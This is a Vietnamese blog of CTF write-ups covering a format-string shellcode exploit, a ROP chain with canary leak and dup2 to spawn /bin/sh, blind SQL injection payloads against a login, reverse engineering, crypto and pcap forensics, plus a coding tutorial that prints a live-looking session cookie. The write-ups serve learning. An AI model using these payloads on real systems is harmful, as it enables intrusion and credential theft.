Thứ Sáu, 25 tháng 11, 2016

[Writeup] PlaidCTF CTF 2015: EBP

Bài này cũ rồi nhưng mình thấy hay thì mình writeup thôi.

$ file ebp
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

Test:
$ ./ebp
phieulang
phieulang

%p%p%p
0xa0x1(nil)
=> Format string.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
------------------------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@3

  while ( 1 )
  {
    result = fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}
------------------------------------------------------------------
int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}
------------------------------------------------------------------
int make_response()
{
  return snprintf(response, 1024u, buf);
}
------------------------------------------------------------------
.bss:0804A080 ; char buf[1024]
.bss:0804A080 buf             db 400h dup(?)          ; DATA XREF: make_response+6 o
.bss:0804A080                                         ; main+21 o
.bss:0804A480                 public response
.bss:0804A480 ; char response[1024]
.bss:0804A480 response        db 400h dup(?) 

Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.

NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.

Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
  • Ghi đè ret?
  • Ghi đè GOT?
  • Ghi đè _fini_array?
Mình không break được vòng lặp ở main => loại phương án ghi đè _fini_array (bạn nào break được thì chỉ mình với).


=> 0x804851a <make_response+29>:        call   0x80483f0 <snprintf@plt>
Breakpoint 1, 0x0804851a in make_response ()
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.


Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta thay đổi giá trị con trỏ để trỏ về địa chỉ ret. (0xffffd1a8 -> 0xffffd1ac (ret_of_echo) )
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta tiếp tục thay đổi giá trị của địa chỉ ret về buf. (0xffffd1ac -> buf  0x0804A080)
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x0804A080 (buf)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Mỗi lần ta chỉ cần ghi 2 bytes là đủ.
Vậy là xong ý tưởng.

Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4

0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12

POC:
$ python ebp.py
[+] Opening connection to 127.0.0.1 on port 8888: Done
debug?
[*] Switching to interactive mode

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
1���Qh//shh/bin\x89�
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
$ id
uid=1000(phieulang) gid=1000(phieulang) groups=1000(phieulang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
$  

Full Payload: ebp.py

Chủ Nhật, 18 tháng 9, 2016

[Writeup] Tutorial - Pwn200 CSAW CTF 2016

Đã lâu rồi không viết writeup, nay Lãng đã comeback.

Đề cho 2 file: tutorial và libc-2.19.so

$ file tutorial
tutorial: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=01e9b94153bb138f2dda5b5b9c490da7c255c68d, not stripped

Phân tích file turorial:
Sơ bộ trong main thì chương trình sẽ nhận đối số argv[1] làm port để listen socket.
Sau đó vào hàm priv(“tutorial”) kiểm tra username tutorial có tồn tại hay không. Phần này sau khi coi toàn bộ chương trình thì mình thấy nó không liên quan tới những phần còn lại, trên server nó tự có môi trường rồi nên mình tiến hành patch lại để debug cho dễ.
Mình sử dụng keypatch (http://www.keystone-engine.org/keypatch/) là 1 plugin cho IDA Pro giúp ta patch lại chương trình tốt hơn rất nhiều so với plugin có sẵn của IDA.
Patch từ 0x40123A tới 0x40124C thành nop (0x90).

Ngoài ra mình có thể patch lại call alarm cho dễ debug local cũng được.

Sau đó chương trình sẽ vào menu chính:
Tại đây ta có 3 lựa chọn:


1: call func1
2. call func2
3. exit

func1:

Như vậy tác dụng của func1 là leak cho ta 1 địa chỉ trong libc.






Từ đây ta có thể tính được các hàm khác trong libc như system, chuỗi /bin/sh


func2:

s tại rbp-0x140
v3 (cookie) tại rbp-0x8

Stack func2:
rbp+0x8 (ret)
rbp
rbp-0x8 (cookie)
rbp-0x140 (s)

Ta thấy read s tới 0x1cc bytes (>0x140) dẫn đến overflow được rbp+0x8 (ret) nhưng vấn đề ở đây là chương trình enable canary, nếu overflow lên stack làm cookie thay đổi, trước khi ret hàm sẽ check lại cookie báo lỗi và thoát.

Để ý ta thấy hàm write sẽ in ra 0x144 bytes từ s, như vậy sẽ in luôn cả cookie ra.


Như vậy ta cần thực hiện các bước để gọi được system(“/bin/sh”) chương trình:
1. leak libc (func1), tính system, /bin/sh
2. leak cookie
3. ghi đè lên stack với đúng cookie để nhảy về system, /bin/sh

Ở bước 3 ta cần một số gadget để đưa /bin/sh vào rdi.


Như vậy payload như sau:
payload = "\x90"*0x138
payload += cookie
payload += p64(menu)
payload += p64(popRDI)
payload += p64(str_bin_sh)
payload += p64(system)

Tiếp theo ta gặp phải vấn đề là server chạy được system(“/bin/sh”) nhưng ta ở client không thể truyền, nhận dữ liệu với process được. (chỉ truyền nhận từ stdout và stdin)

Để giải quyết vấn đề này ta sử dụng hàm dup2.
dup2() makes newfd be the copy of oldfd, closing newfd first if necessary (https://linux.die.net/man/2/dup2).
dup2(0x4,0x0) # 0x4: server socket, 0x0 stdin
dup2(0x4,0x1) # 0x4: server socket, 0x1 stdout

Có tới 2 đối số vì vậy ta cần thêm 1 gadget để đưa giá trị đối số thứ 2 vào RSI:


Payload:
payload = "\x90"*312
          payload += cookie
          payload += p64(menu)
          payload += p64(popRSI_pop)
          payload += p64(0x0)
          payload += p64(0x0)
          payload += p64(popRDI)
          payload += p64(0x4)
          payload += p64(dup2)
         
          payload += p64(popRSI_pop)
          payload += p64(0x1)
          payload += p64(0x1)
          payload += p64(popRDI)
          payload += p64(0x4)
          payload += p64(dup2)
         
          payload += p64(popRDI)
          payload += p64(str_bin_sh)
          payload += p64(system)




Thứ Sáu, 4 tháng 12, 2015

[Writeup] UIT Hacking Contest Season W 2015 - RE200 SecretDotoItem


Đề cho:
Doto, best todo
SecretDotoItem.exe
Bài này mình thấy rất đơn giản nhưng một số bạn phải dùng tới Visual Studio debug hay patch các kiểu dữ dội quá nên mình show cách làm đơn giản của mình ra hy vọng giúp các bạn dễ dàng giải được các bài tương tự nếu gặp lại.

phieulang@phieulang-X550LD:~/Downloads/UIT_Contest$ file SecretDotoItem.exe
SecretDotoItem.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Á à. Trúng tủ =))
.NET thì cứ dùng .NET Reflector thôi.
Bật máy ảo lên:
Ngó qua ta thấy có 4 cái hàm chính cần quan tâm:
btnItem_Click
btnMagic_Click
CheckKey
Form1_Load

Check Form1_Load thấy không óc gì đặc biệt lắm.
Hàm btnItem_Click:
Chỉ là click vào button thì sẽ chuyển FlatStyle rồi gọi hàm CheckKey.

Qua CheckKey hóng:
Đọc sơ thì thấy nó duyệt qua mảng các button rồi qua các bước ta sẽ được 1 chuỗi res.
So sánh chuỗi res này với "tzcqqkohjsmudjgon" nếu trùng thì ẩn mảng các button kia đi và hiện button Magic lên.

Chuyển tiếp qua hàm btnMagic_Click:
Hàm này load cái file SecretDotoItem.secret.jpg trong Resource lên rồi xor với chuỗi res sau đó ghi ra.
Bingo. Flag là nó rồi :D
Mở resource lên coi cái hình xem thử.
Lỗi. Không hiển thị được.
Không hiển thị được là đúng rồi vì phải xor với chuỗi res mới hiển thị được :D

Chuột phải vào file này save as lại.

Viết 1 script python đơn giải để xor cái file với chuỗi res:
http://pastebin.com/MN3n0v7v

Run và check file re200_flag.jpg

Easy 200 points
 

Thứ Bảy, 26 tháng 9, 2015

[Writeup] RE200 - CSAW CTF 2015

Hacking Time

200

180 solves
We're getting a transmission from someone in the past, find out what he wants.
HackingTime_03e852ace386388eb88c39a02f88c773.nes
Mặc dù RE không phải sở trường của mình nhưng thôi kệ. Thấy hay hay cũng bay vào chiến.

lehuyhoang@lehuyhoang-X550LD:~/ctf/2015/csaw/re/re200$ file HackingTime_03e852ace386388eb88c39a02f88c773.nes
HackingTime_03e852ace386388eb88c39a02f88c773.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]

Google thì nó là Nintendo Entertainment System (NES) ROM. Nhớ về tuổi thơ ngày xưa chơi Contra, Mario với chơi Tank 1999 với papa cả đêm.

Đầu tiên là dùng giả lập fcuex trên ubuntu load room vào test.
Cứ ấn F để qua thôi :D Mấy cái tào lao lừa tình bỏ qua hết.
Tới 1 chỗ nó yêu cầu nhập password

Lấy password ở đâu trong khi password nó tới 24 kí tự thì không đoán được rồi.
Chắc phải debug thôi.
Google nes debugger nó ra cho mình cái No$NES Debugger
http://www.romhacking.net/utilities/807/
Down về giải nén nó ra NO$NES.EXE.
Dùng Wine chạy EXE hoặc qua Windows chạy thôi :D

Giao diện của No$Nes debugger
Tiếp theo ta load room vào:
File -> Floppy Menu (filename) -> tìm file .nes open thôi :D
Thay vì F như fceux thì ta ấn space để next.
Nhập thử password: ABCDEFGHIJK rồi space
Sau đó qua Debugger ta thấy như sau:
Khó nhìn quá nên mình chuyển qua Windows chạy cho dễ nhìn.


Ta thấy password của ta nhập vô nó nằm ở địa chỉ 0005 trong WRAM.
OK vào code tìm chỗ nào liên quan 0005 đặt breakpoint thôi.

Tìm được vài chỗ có [0005+y] ta đặt breakpoint bằng cách F2 hết những chỗ đó.
Sau đó qua bên chương trình chính space phát nữa để thử lại password ABCDEFGHIJK.
Ta thấy chương trình dừng lại do dính breakpoint ở địa chỉ: ROMO:82F7
Ta f7 trace coi các giá trị password của ta thay đổi và được kiểm tra như nào thôi.
Sau khi qua từa lưa bước thuật toán thay đổi giá trị thì kết quả sau đó của ta được lưu tại địa chỉ [001E]
Sau khi kiểm tra toàn bộ 24 (0x18) kí tự của password thì tới đoạn kiểm tra các giá trị tại địa chỉ [001E+0] tới [001E+24], nếu khác 0 thì sẽ văng ra và báo Access denied.
Mình có làm trick thử là thay đổi instruction từ JNZ thành JZ thì nó cho mình bypass password mặc dù password sai. Nhưng đoạn sau nó báo password chính là Flag luôn nên đành phải tìm hiểu thuật toán coi password là gì.

Qua quá trình debug và coi asm thì mình thấy mỗi kí tự của password sẽ RCL 3 lần, giá trị tại địa chỉ [3B] sẽ được RCR 2 lần. Sau đó ADC giá trị của kí tự password với giá trị tại [3B]. Sau đó xor kí tự của password đó với giá trị tại địa chỉ [955E+y] (với y là thứ tự của kí tự trong password), rồi lưu kết quả tại [3B]. Sau đó giá trị đó lại tiếp tục RCL 3 lần nữa rồi xor với giá trị tại [9576+y]
Nếu kết quả = 0 thì sẽ không bị thoát và báo access denied.
Vậy ta coi giá trị tại [955E] và [9575] sau đó coi thôi :D

Code:
http://pastebin.com/VHryXF8L
Trong quá trình debug mình bị hoa mắt nên debug chạy đi chạy lại thấy lạ vì add with carry mà 0xa4 + 0xe4 ra lại ra 0x2e. Thử đi thử lại rồi thử binary nó ra cộng thủ công bit cũng không thể nào ra được như thế. Hóa ra mình nhìn lộn 0x4a thành 0xa4 nên thế :'(
Thế là code cho nhanh để làm bài khác luôn vì vậy code chưa được đẹp và chuẩn cho lắm.

[Writeup-Showup] VIETTEL MATES CTF - Forensic250 Malware






Tạm thời showup.
Khi nào rảnh mình sẽ viết chi tiết sau :D

Thứ Hai, 7 tháng 9, 2015

[Writeup] MMA CTF 2015


Link CTF: http://score.mmactf.link

Lâu rồi mới có 1 CTF để thử xem trình độ của mình đang ở đâu.
Mình quyết định chơi solo. Một số bài bí quá thì nhờ sự hỗ trợ từ một số bạn team khác.

Nãy mình quay clip showup nhưng đang quay thì trang của MMACTF báo lỗi nên mình bỏ rồi.
Sau đây mình sẽ writeup một số bài mình đã làm được trong MMA CTF 2015.

Welcome!!

Quá đơn giản phải không?
Copy và paste MMA{Welcome_To_MMACTF!!} vào ô Flag và submit.
10 điểm đầu tiên :D


Pattern Lock
Bài này mình google chứ chịu thôi. Giờ cũng quên mất flag rồi :D





Smart Cipher System

Problem

Decrypt 4 flags.

Bài này có tới 4 flag để giải quyết.
OK Bắt tay vào làm nào:

crypt2:
Ta thử một vài trường hợp:
a => 4a
ab => 4a 4b
ba => 4b 4a
acb => 4a 4b 4c
OK vậy là với mỗi kí tự trong bảng ascii sẽ tương ứng với 1 hex
Flag của MMA có dạng MMA{something}
=> Ta nhập bộ charset là 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}
kết quả ta được:
1a 1b 1c 1d 1e 1f 20 21 22 19 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 64 66

Mỗi kí tự trong charset tương ứng với 1 hex trong cùng thứ tự với kết quả.
So sánh từng kí tự trong cipher đề cho để decrypt ra flag:
Mình code luôn cho nhanh: http://pastebin.com/GT7cr1bF
Flag: MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}

crypt4:
Tương tự crypt2:
Charsets: 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}
Kết quả trả về:
c7 23 c3 18 96 05 9a 07 12 04 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 21 ff

Flag: MMA{f52da776412888170f282a9105d2240061c45dad}

crypt5:
Ta đã biết flag có dạng MMA{something}
và something có charsets là: 0123456789abcdef
Nên ta nhập 4 kí tự đầu của flag và thử thêm 1 số trường hợp:
MMA{    =>    49 00 0c 3a
MMA{a    =>    48 00 0c 3a 1a
MMA{b    =>    48 00 0c 3a 19
MMA{c    =>    48 00 0c 3a 18
MMA{aa    =>    4b 00 0c 3a 1a 00
MMA{ab    =>    4b 00 0c 3a 1a 03
MMA{bb    =>    4b 00 0c 3a 19 00
MMA{f52da776412888170f282a9105d2240061c45dad} => 60 00 0c 3a 1d 53 07 56 05 56 00 01 02 05 03 0a 00 00 09 06 07 56 54 0a 0a 53 58 08 01 05 51 56 00 06 04 00 06 07 52 57 01 51 05 05 19 (flag crypt4)
Ta thấy hex đầu tiên liên quan tới độ dài của chuỗi ta nhập vào.
Từ hex thứ 2 trở đi thì mỗi hex tương ứng 1 kí tự ta nhập vào.
Ở tại mỗi vị trí thì hex trả về khác với hex ở ví trị khác. (ở trên ta thấy MM nhưng hex trả về là 00 và 0c)
OK vậy bruteforce thôi.
Với mỗi vị trí ta thử với 1 kí tự trong charsets sao cho hex trả về tương ứng hex với cipher (tạm bỏ qua hex đầu liên quan tới số độ dài flag)

Mình cũng code luôn: http://pastebin.com/pAVLNY9z (yêu cầu cài thư viện selenium http://selenium-python.readthedocs.org/)
Flag: MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}

crypt6:
Bài này cần tìm ra quy luật của nó mới giải được.
Nó khá khác với những bài trên.
Test:
MMA{0123456789abcdef0123456789abcdef01234567}    =>    64 a9 cc 28 a1 81 53 64 c6 a1 cd c6 1c 1c 39 c2 c2 8d c4 56 8d 0c 23 a9 56 31 cc 53 0c 39 31 23 64 31 cc cc a1 c4 53 f6 c6 cc cd cd be
MMA{1123456789abcdef0123456789abcdef01234567}    =>    64 a9 cc 28 a1 89 53 64 c6 a1 cd c6 1c 1c 39 c2 c2 8d c4 56 8d 0c 23 a9 56 62 cc 53 0c 39 31 23 64 31 cc cc a1 c4 53 f6 c6 cc cd cd be
MMA{112345a789abcdef0123456789abcdef01234567}    =>    64 a9 cc 28 a1 89 53 64 c6 a1 cd 2c 1c 1c 39 c2 c2 8d c4 56 8d 0c 23 a9 56 62 cc 53 0c 39 31 23 64 31 cc cc a1 c4 53 f6 c6 cc cd 6e be

=> Mỗi kí tự sẽ tác động tới hex tại 2 vị trí
Hướng giải quyết: Ta thu thập tất cả các vị trí mà hex bị thay đổi, sau đó tìm những kí tự có liên quan vị trí hex của những kí tự MMA{ và } để fix cho giống với hex của cipher tại vị trí tương ứng

Vị trí flag tác động lên kí tự trong chuỗi hex trả về như sau:
pos[0]=[3, 4, 69, 70]
pos[1]=[9, 10, 69, 70]
pos[2]=[9, 10, 117, 118]
pos[3]=[15, 16, 117, 118]
pos[4]=[15, 16, 75, 76]
pos[5]=[21, 22, 75, 76]
pos[6]=[21, 22, 105, 106]
pos[7]=[27, 28, 105, 106]
pos[8]=[27, 28, 81, 82]
pos[9]=[33, 34, 81, 82]
pos[10]=[33, 34, 129, 130]
pos[11]=[39, 40, 129, 130]
pos[12]=[39, 40, 87, 88]
pos[13]=[45, 46, 87, 88]
pos[14]=[45, 46, 111, 112]
pos[15]=[51, 52, 111, 112]
pos[16]=[51, 52, 93, 94]
pos[17]=[57, 58, 93, 94]
pos[18]=[57, 58, 123, 124]
pos[19]=[63, 64, 123, 124]
pos[20]=[63, 64, 99, 100]
pos[21]=[0, 1, 99, 100]
pos[22]=[0, 1, 6, 7]
pos[23]=[6, 7, 12, 13]
pos[24]=[12, 13, 18, 19]
pos[25]=[18, 19, 24, 25]
pos[26]=[24, 25, 30, 31]
pos[27]=[30, 31, 36, 37]
pos[28]=[36, 37, 42, 43]
pos[29]=[42, 43, 48, 49]
pos[30]=[48, 49, 54, 55]
pos[31]=[54, 55, 60, 61]
pos[32]=[60, 61, 66, 67]
pos[33]=[66, 67, 72, 73]
pos[34]=[72, 73, 78, 79]
pos[35]=[78, 79, 84, 85]
pos[36]=[84, 85, 90, 91]
pos[37]=[90, 91, 96, 97]
pos[38]=[96, 97, 102, 103]
pos[39]=[102, 103, 108, 109]
pos[40]=[108, 109, 114, 115]
pos[41]=[114, 115, 120, 121]
pos[42]=[120, 121, 126, 127]
pos[43]=[126, 127, 132, 133]

Ta fix từ vị trí thứ 4 trở đi sau MMA{
Tại vị trí thứ 4 của flag ta thử từng ký tự trong charsets 0123456789abcdef  để vị trí kí tự của hex trả về tại 15,16 giống với các kí tự tại vị trí 15,16 của cipher

Rồi tiếp tục các kí tự thứ 5,6,7,...
Mình cũng code nốt: http://pastebin.com/N9bJFBsh

Flag: MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}
Vậy là hoàn thành 4 bài crypto :D
======================


Login as admin!
 
Flag là mật khẩu admin
OK. Test thôi
Thử admin:admin nhưng invalid username or password
Thử tiếp: user:user
You are test user.
logout
OK. Vậy ta phải login = admin.
Test bypass login:
Query: username=admin'-- -&password=XXX
Congratulations!!
You are admin user.
The flag is your password!
logout
OK vậy dính lỗi sql rồi.
Bài này nó không xuất thông tin cho chúng ta ngoài việc login thành công thì xuất You are ... và sai tài khoản hoặc mật khẩu thì invalid username or password
Vậy ta nghĩ ngay tới blind sql injection.
query: username=test' and password='test'-- -&password=XXX 
=>  You are test user.
Vậy có column password trong table.
Blind password admin thôi :D

query: username=admin' and substr(password,1,1)='a'-- -&password=XXX
result: invalid username or password

Ta biết flag (password của admin) có định dạng MMA{something} nên thử chữ M
query: username=admin' and substr(password,1,1)='M'-- -&password=XXX
result:
Congratulations!!
You are admin user.
The flag is your password!
logout
OK vậy mình code thôi :D
http://pastebin.com/kUNkkPbr
Flag: MMA{cats_alice_band}


======================
stream...  Forensics

Đề cho: http://assets.score.mmactf.link/attachments/stream-ae909d8550c45e47b3c888c3c35ce5a6699de5390968e91b53a718d73c237718


Nếu chưa biết định dạng gì thì cho vào hex editor coi có string Dumpcap 1.12.7 => open với wireshark coi thôi
Ubuntu nó tự nhận diện file type rồi nên mình mở được ngay

Đa phần packet liên quan tới GET HTTP request ở packet thứ 21.

Follow tcp stream:
Cái này khá lạ với mình nên mình sẽ bắt đầu tìm một số thông tin.
Bắt đầu từ cái User-Agent: NSPlayer/9.0.0.4503
Google ta được: https://github.com/gshutler/useragent/blob/master/lib/user_agent/browsers/windows_media_player.rb 
# Windows XP with Windows Media Player 9::
#   NSPlayer/9.0.0.4503
#   NSPlayer/9.0.0.4503 WMFSDK/9.0
#   Windows-Media-Player/9.00.00.4503
=> Đoán ngay nó stream video qua Windows Media Player
Một số thông tin trong http header khác mình đã tìm nhưng không có gì đặc biệt.
Tiếp theo mình tìm header $H xem là file gì hay cái gì đó
https://msdn.microsoft.com/en-us/library/cc251289.aspx

Lúc đầu mình nghĩ ngay là phải dựng con server cho nó stream video cho thằng Windows Media Player nhưng google mãi không biết cách tạo. Cuối cùng mình đành dùng cách là code socket giả lập lại y hệt những gì nó gửi cho WMP.


Lưu lại thành stream.bin

Code: http://pastebin.com/jPFcKDKi
Mình run code python trên Win 7. Sau đó vô WMP
Nhập http://127.0.0.1:8080 vào và OK

Flag: MMA{windows_xp_is_too_old_to_create_problem!!}
==============
Splitted forensic

Đề cho: http://assets.score.mmactf.link/attachments/splitted.7z-68ad844f2aab26d3d358ae9fa6c598a2727b0c0056567a288ffcd9414229121c

splitted.7z => extract file ta được 1 file splitted.pcap => Mở với wireshark
Đập ngay vào mắt là /flag.zip
OK export http object ngay và luôn
File => Export Objects => HTTP
Lắm flag.zip thế này :v
Save all về xem xét
Quăng hết vô hexeditor coi nào (mình dùng Bless Hex Editor)

File ZIP có file signature (magic number) là PK mà trong đâu không có PK ?
Mở sang file flag(1).zip:

PK đây rồi. File bị nén là flag.psd
Thử extract xem sao: 
  
 Ố ồ. Vậy là ta cần ghép các file flag.zip lại thành 1 file zip hoàn chỉnh nhưng... thứ tự các file này đã bị thay đổi.
Nếu thử sắp xếp rồi extract thì ta có tổ hợp quá trời là trường hợp.
Vậy sao đây? 
Đề cho mỗi 1 file pcap thì vô file đó tìm thêm thông tin thôi :D
Follow 1 HTTP stream:

Bingo... Thứ tự của nó là đây :D
OK ta chỉ cần coi range và đổi lại tên file cho đúng với range sau đó gộp các file lại là được 1 file ZIP hoàn chỉnh

Giải nén file zip: ta được file flag.psd
A .PSD file is a layered image file used in Adobe PhotoShop. PSD, which stands for Photoshop Document, is the default format that Photoshop uses for saving ...
Mình không có cài PhotoShop. Làm sao giờ?
PhotoShop online thôi :D
http://vforum.vn/photoshop/ 

Trắng như ô mô thế này
Để ý ta thấy có tới 2 layers.
Ẩn layer 1 đi bằng cách unstick.

Done! Flag: MMA{sneak_spy_sisters}
==============
Mình tạm dừng tại đây có thời gian mình sẽ writeup hoặc showup tiếp một số bài nữa!

Thứ Sáu, 10 tháng 7, 2015

[Hướng dẫn] Giải 1 số bài CTF coding trong CTF, wargame

Ví dụ: https://www.hackthis.co.uk/levels/coding/1

Đọc yêu cầu của đề nào: Các từ bị xếp lộn xộn. Nhiệm vụ là sắp xếp lại các từ theo thứ tự alphabet. Sau đó submit kết quả với cùng định dạng. Thời gian để hoàn thành là 5 giây.

Phân tích: với thời gian 5 giây thì với thao tác thủ công ta không thể nào hoàn thành kịp nhiệm vụ này. Vì vậy ta cần phải giải bài này bằng code.
Các bước: Lấy danh sách các từ bị sắp xếp lộn xộn => sắp xếp chúng lại theo thứ tự => Submit kết quả

Bài này sử dụng http request. Với python ta có thể sử dụng thư viện có sẵn như requests (http://docs.python-requests.org/en/latest/) nhưng mình đã code 1 hàm sẵn rất đơn giản và tiện dụng (http://pastebin.com/e7CueNfU)
Cách sử dụng:
Bạn cần 3 param (url, post_data, cookie) nếu sử dụng get thì post_data = "", nếu không cần cookie thì gán cookie = ""
OK. Lấy cookie, url
Sử dụng add-on livehttpheader ta được thông tin request như sau:

OK.
Giao thức là GET
url = https://www.hackthis.co.uk/levels/coding/1
Cookie = _ga=GA1.3.1205173578.1433484176; member=1; km_ai=x2PU%2FQmuZkE0OR%2F2qGxqE6N7Jqo%3D; km_uq=; km_lv=x; autologin=o-%01%98%7F%09%D3%EBW%22w%FBGc%B5%8C%5C%EC%1E%24%B4n%E7%25%93%E7%02%8F%AC%BB%E2V4%BE%C0%9C%A6%E7%A7%16%7BFc+%8B%C4%D1h%A3%B5%F5s%D9jUs%08J_Z%A1%A1%C1o; PHPSESSID=j0k3ihv246vdijl3om5f7f8a87

OK. Đưa vào hàm requests lấy dữ liệu về thôi.


Run:

Đoạn bôi trắng là đoạn ta cần quan tâm.
Làm sao để lấy được các từ ra?
Suy nghĩ đơn giản thôi nào. Biến res của ta chỉ là string thôi nên ta chỉ việc phân tích chuỗi là có thể lấy được các từ ra.
Ta có thể sử dụng tới Regular expression operations (https://docs.python.org/2/library/re.html) nhưng RE có thể gây tốn thời gian. Vì form này có format như nhau sau mỗi lần request nên ta chỉ cần sử dụng các hàm xử lý chuỗi đơn giản nhằm tránh mất thời gian.
Trước các từ cần quan tâm là chuỗi "<textarea>" và sau các từ cần quan tâm ta có "</textarea>" mà trong chuỗi res ta chỉ có duy nhất 1 chuỗi "<textarea>" trong đó. OK simple rồi. Lấy chuỗi từ sau "<textarea>" và trước "</textarea>" là được chuỗi các từ cần tìm.
Run:
OK. Việc tiếp theo là tách chuỗi này thành các từ riêng lẻ.
Giữa các từ được phân cách bằng chuỗi ", " vì vậy ta có thể sử dụng hàm split để tách ra.
Run:
OK. Vậy ta được 1 list các từ.
Tiếp theo là sắp xếp các từ. Vì đây là list nên ta có thể sử dụng hàm sorted (https://docs.python.org/2/library/functions.html#sorted)

Như vậy ta thấy list words trên chưa được sắp xếp nhưng list answer dưới đã được sắp xếp theo alphabet.
Nhiệm vụ bây giờ là biến list thành string theo đúng format ban đầu (cách mỗi từ là chuỗi ", ") và submit.
Để biến chuỗi thành đúng format ban đầu ta dùng hàm join.

OK. Ta có chuỗi answer đúng format và đã được sắp xếp.
Nhiệm vụ bây giờ là submit.
Ta coi http request bằng livehttpheader:
Giao thức: POST
Url: https://www.hackthis.co.uk/levels/coding/1
Cookie: như cũ
Post_data: answer = chuỗi_các_từ_đã_được_sắp_xếp


OK. tiếp tục :D
OK. Level Completed

Còn một số dạng nữa khi nào rảnh mình sẽ cập nhật

Bạn nào chưa hiểu thì có thể comment hoặc liên hệ facebook mình:
https://www.facebook.com/xxvicon